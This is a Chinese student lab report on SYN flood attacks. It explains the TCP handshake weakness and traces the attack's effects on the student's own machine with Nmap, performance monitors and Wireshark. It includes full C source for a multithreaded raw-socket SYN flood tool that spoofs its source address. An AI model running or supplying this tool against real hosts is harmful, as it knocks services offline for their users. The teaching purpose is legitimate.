实践:网络攻击技术
一、实验目的
- 理解带宽攻击原理
- 理解资源消耗攻击原理
- 掌握洪泛攻击网络行为特征
二、实验原理
SYN Flood攻击
Dos(Denial of Service)拒绝服务攻击是指在特定攻击发生后,被攻击的对象不能及时提供应有的服务。从广义上说,任何导致服务器不能正常提供服务的攻击都是拒绝服务攻击。
SYN Flood是当前最流行的拒绝服务攻击之一,这是一种利用TCP协议缺陷,发送大量的伪造的TCP连接请求,从而使得被攻击方资源耗尽(CPU满负荷或内存不足)的攻击方式。
TCP协议是基于连接的,也就是说,为了在服务端和客户端之间传送TCP数据,必须先建立一个虚拟电路,也就是TCP连接。
建立TCP连接的标准过程是这样的:
- 第一步,请求端(客户端)发送一个包含SYN标志的TCP报文,SYN即同步(Synchronize),同步报文会指明客户端使用的端口以及TCP连接的初始序号;
- 第二步,服务器在收到客户端的SYN报文后,将返回一个SYN+ACK的报文,表示客户端的请求被接受,同时TCP序号被加1,ACK即确认(Acknowledgement);
- 第三步,客户端也返回一个确认报文ACK给服务器端,同样TCP序列号被加1,到此一个TCP连接完成。
以上的连接过程在TCP协议中被称为三次握手。
问题就出在TCP连接的三次握手中,假设一个用户向服务器发送了SYN报文后突然死机或掉线,那么服务器在发出SYN+ACK应答报文后是无法收到客户端的ACK报文的(第三次握手无法完成),这种情况下服务器端一般会重试(再次发送SYN+ACK给客户端)并等待一段时间后丢弃这个未完成的连接,这段时间的长度我们称为SYN超时,一般来说这个时间是分钟的数量级(大约为30秒-2分钟);一个用户出现异常导致服务器的一个线程等待1分钟并不是什么很大的问题,但如果有一个恶意的攻击者大量模拟这种情况,服务器端将为了维护一个非常大的半连接列表而消耗非常多的资源。实际上如果服务器的TCP/IP栈不够强大,最后的结果往往是堆栈溢出崩溃——即使服务器端的系统足够强大,服务器端也将忙于处理攻击者伪造的TCP连接请求而无暇理睬客户的正常请求(毕竟客户端的正常请求比率非常之小),此时从正常客户的角度看来,服务器失去响应,这种情况我们称作:服务器端受到了SYN Flood攻击(SYN洪水攻击)。
二、实验步骤
以自己的主机为靶机,IP地址为192.168.43.206,以虚拟机Linux操作系统为攻击源,伪装的IP地址为192.168.0.222进行试验。
1.前期准备
在虚拟机上安装wireshark和ZENMAP。
2.攻击代码的实现
用C代码实现的一个SYN Flood攻击编程。
代码如下:
//DOS_flood.c
#include <stdio.h>
#include <ctype.h>
#include <unistd.h>
#include <fcntl.h>
#include <signal.h>
#include <sys/time.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/ip.h>
#include <netinet/tcp.h>
#include <netdb.h>
#include <errno.h>
#include <stdlib.h>
#include <time.h>
#include <string.h>
#define MAXCHILD 128
#define PROTO_NAME "tcp"
#define FAKE_IP "192.168.0.222"
static unsigned long dest = 0;
static unsigned short dest_port = 0;
static int PROTO_TCP = -1;
static int alive = -1;
int rawsock = 0;
typedef struct dosseg_t{
struct ip iph;
struct tcphdr tcph;
unsigned char data[8192];
}DOSSEG_T;
//数据包校验
static unsigned short Dos_cksum(unsigned short *data, int length)
{
register int left = length;
register unsigned short *word = data;
register int sum = 0;
unsigned short ret = 0;
while(left > 1)
{
sum += *word++;
left -= 2;
}
if(left == 1)
{
*(unsigned char *)(&ret) = *(unsigned char *)word;
sum += ret;
}
sum = (sum >> 16) + (sum & 0xffff);
sum += (sum >> 16);
ret = ~sum;
return (ret);
}
/* 随机生成攻击请求源端口 */
static inline long myrandom(int begin, int end)
{
int gap = end - begin + 1;
int ret = 0;
srand((unsigned)time(0));
ret = random()%gap + begin;
return ret;
}
static void Dos_sig()
{
alive = 0;
printf("stop DoS Attack!\n");
}
/* 构造tcp的请求syn包 */
void DoS_tcp_pack(char* packet)
{
char *buffer;
struct ip* ip_hdr = (struct ip*)packet;
struct tcphdr* tcp_hdr = (struct tcphdr*)(packet + sizeof(struct ip));
//ip头赋值
ip_hdr->ip_v = 4;
ip_hdr->ip_hl = 5;
ip_hdr->ip_tos = 0;
ip_hdr->ip_len = htons(sizeof(struct ip) + sizeof(struct tcphdr));
ip_hdr->ip_id = htons(getpid());
ip_hdr->ip_off = 0;
ip_hdr->ip_ttl = 64;
ip_hdr->ip_p = PROTO_TCP;
ip_hdr->ip_sum = 0;
ip_hdr->ip_src.s_addr = inet_addr(FAKE_IP); //伪装源地址
ip_hdr->ip_dst.s_addr = dest; //攻击的目的主机地址
ip_hdr->ip_sum = Dos_cksum((unsigned short *)ip_hdr, (4*ip_hdr->ip_hl + sizeof(struct tcphdr) + 1) & ~1);
//tcp赋值
tcp_hdr->seq = htonl((unsigned long)myrandom(0, 65535));
tcp_hdr->ack_seq = htons(myrandom(0, 65535));
tcp_hdr->syn = 1;
tcp_hdr->urg = 1;
tcp_hdr->window = htons(myrandom(0, 65535));
tcp_hdr->check = 0;
tcp_hdr->urg_ptr = htons(myrandom(0, 65535));
tcp_hdr->check = Dos_cksum((unsigned short *)tcp_hdr, (sizeof(struct ip) + sizeof(struct tcphdr) + 1) & ~1);
}
void Dos_Attack()
{
DOSSEG_T packet;
struct sockaddr_in to;
DoS_tcp_pack((char *)&packet);
to.sin_family = AF_INET;
to.sin_addr.s_addr = dest;
to.sin_port = htons(0);
while(alive) //控制发包的全局变量
{
sendto(rawsock, &packet, 4*packet.iph.ip_hl + sizeof(struct tcphdr), 0, (struct sockaddr*)&to, sizeof(struct sockaddr));
}
}
int main(int argc, char* argv[])
{
struct hostent* host = NULL;
struct protoent* protocol = NULL;
int i = 0, err = -1;
pthread_t attack_thread[MAXCHILD];
/* 创建停止信号接收函数 */
alive = 1;
signal(SIGINT, Dos_sig);
if(argc < 3)
{
printf("-------------Invalid input---------------!\n");
return -1;
}
protocol = getprotobyname(PROTO_NAME);
if(protocol == NULL)
{
printf("Fail to getprotobyname!\n");
return -1;
}
PROTO_TCP = protocol->p_proto;
//参数1:攻击目的IP 参数2:攻击的目的Port
dest = inet_addr(argv[1]);
dest_port = atoi(argv[2]);
if(dest == INADDR_NONE)
{
host = gethostbyname(argv[1]);
if(host == NULL)
{
printf("Invalid IP or Domain name!\n");
return -1;
}
memcpy((char *)&dest, host->h_addr, host->h_length);
}
//创建原始套接字
rawsock = socket(AF_INET, SOCK_RAW, PROTO_TCP);
if(rawsock < 0)
{
printf("Fait to create socket!\n");
return -1;
}
//设置IP选项
setsockopt(rawsock, IPPROTO_IP, IP_HDRINCL, "1", sizeof("1"));
printf("SYN FLOOD ATTACK START\n");
for(i = 0; i < MAXCHILD; i++)
{
err = pthread_create(&(attack_thread[i]), NULL,(void*)Dos_Attack, NULL);
if(err)
{
printf("Fail to create thread, err %d, thread id : %d\n",err, attack_thread[i]);
}
}
for(i = 0; i < MAXCHILD; i++)
{
pthread_join(attack_thread[i], NULL);
//等待线程结束
}
printf("SYN-DOS ATTACK FINISHI!\n");
close(rawsock);
return 0;
}
使用如下命令来进行编译:
3.性能分析
(1)攻击者在Linux下利用NMAP对靶机进行端口扫描,根据NMAP对靶机的扫描结果选择一个开放的TCP端口作为DoS攻击的端口。
使用如下命令启动ZENMAP:
(2)选择的443这个开放端口,启动DoS工具,对靶机上的该端口进行SYN洪水攻击。
(3)靶机启动系统“性能监视器”,监视在遭受到洪水攻击时本机CPU、内存消耗情况。
攻击前靶机的性能监视器:
攻击后靶机的性能监视器图形变化:
(4)靶机打开“任务管理器”,单击“性能”选项卡,记录CUP、内存、网络的使用状况。
攻击前“任务管理器”性能页:
攻击后“任务管理器”性能页:
(5)靶机在CMD中执行netstat –na命令,观察TCP连接状态。
4.捕包分析攻击包特征
(1)攻击者停止洪水发送,并停止协议分析器捕获,分析攻击者与靶机间的TCP会话数据。
(2)通过对协议分析器所捕获到的数据包进行分析,说明在攻击者对靶机开放的TCP端口进行洪泛攻击时,靶机为什么会消耗大量的系统资源。
SYN Flood 攻击利用的是tcp协议的设计漏洞,正常的tcp连接要三次握手连接。当第一次请求syn报文发送之后,服务器发送应答syn+ack报文,客户端此时出现状况或者故意不进行第三次握手,服务器会重新发送一次syn+ack报文,并且等待一段时间,成为syn终止时间,如果没有响应,则判断为无法连接,丢弃这个连接。当攻击者以数以万计的半连接出现的时候,服务器要不断的对所有半连接发送syn+ack报文重试,服务器的内存和cpu不停的做这些没有用的工作,从而消耗大量的系统资源。
参考资料:https://wenku.baidu.com/view/7561dd9184868762caaed537.html
注:感谢程铮华同学提供了很大的帮助。